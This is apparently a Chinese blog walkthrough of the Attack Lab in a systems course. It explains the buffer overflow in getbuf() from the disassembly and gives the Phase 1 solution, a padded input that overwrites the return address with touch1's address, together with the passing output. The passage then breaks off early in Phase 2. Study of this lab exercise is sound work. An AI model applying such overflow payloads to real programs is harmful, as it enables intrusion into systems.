开始
target1里的两个程序,ctraget和rtarget,都有缓冲区溢出的bug。实验要求我们做的,是利用这些bug,让程序通过缓冲区溢出,执行我们想执行的代码。下载的文件夹里,ctarget是做代码注入攻击 (code-injection attacks) 用的。rtarget,还有后面的cookie.txt、hex2raw、farm.c都和后面的ROP攻击(return-oriented-programming, ROP)有关。
writeup里有getbuf()的源码。我们利用的缓冲区的bug,就是在这里出现的。我们从Type string那里输进一个字符串。如果字符串是精心设计好的,正好能把栈里原本的返回地址,用你设计的地址冲掉(这个实验里是touch1、touch2、touch3的地址;如果做到后面,就是gadget的地址)(书上练习3.46),让target执行你想执行的内容,我们的目的就达到了。
Phase 1
前面的writeup看得差不多了,那我们就上手吧~
我们首先看一看getbuf()的汇编代码。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
我们知道,call 0x4017a8(就是调用getbuf())这个指令会把ret指令要返回到的地址压进栈,然后才会跳转到0x4017a8这个地址执行getbuf()的代码。而getbuf()被调用之后,执行的第一行汇编是干什么的?没错,就是将栈指针向栈顶移动40(0x28,敲黑板,十六进制!)个字节。而这40个字节里放的是什么呢?有一部分就是我们敲进去的字符串。也就是说,如果我们敲进去的字符串足够长,比这40个字节还长,它的最后几个字符,就完全可以冲掉原本的返回地址!如果这最后几个字符又恰好是touch1的地址,那么等执行到0x4017bd,也就是getbuf()里的ret指令时,ret指令会直接返回到touch1的地址!Phase1就搞定了!!!
你可以先把字节码写在一个txt里,再借助下载的hex2raw程序,把它直接转换成相应的十六进制字节码。实验说明的附录里有使用方法,这里就不再复述了~其实你也可以用各种16进制文本编辑器帮助你转换,百度一下就能找到不少_ 我这里用的是16进制的文本编辑器:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 C0 17 40 00 00 00 00 00
前面是40个90(十六进制啦),从第三行的C0开始一直到这一行结束都是touch1的地址(小尾数表示!!!)。那四十个90把touch1的地址“垫起来”,让八字节的地址准确地覆盖掉原来存在栈中的地址。在终端里敲进"./ctarget -q < c1"(c1是放你注入的字符串的文件的名字;’<'重定向输入流), 让我们看一下实验效果:
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 C0 17 40 00 00 00 00 00
恭喜恭喜!Phase 1做完啦!
Phase 2
第二个Phase就是真正的"code injection"了,要你在字符串里写一段真正的汇编,之后利用ret指令直接跳转过去……
可我还是有问题呀。
怎么了?
不是有“栈随机化”吗?每次运行程序,字符串开头的地址都不一样,怎么跳转?即使跳过去了,可执行代码的区域也是被严格限制的……放字符串的内存区域,即使放了代码,也没办法执行呀……
哇,看书看得好细致!加个鸡腿!其实,为了方便我们做实验,程序的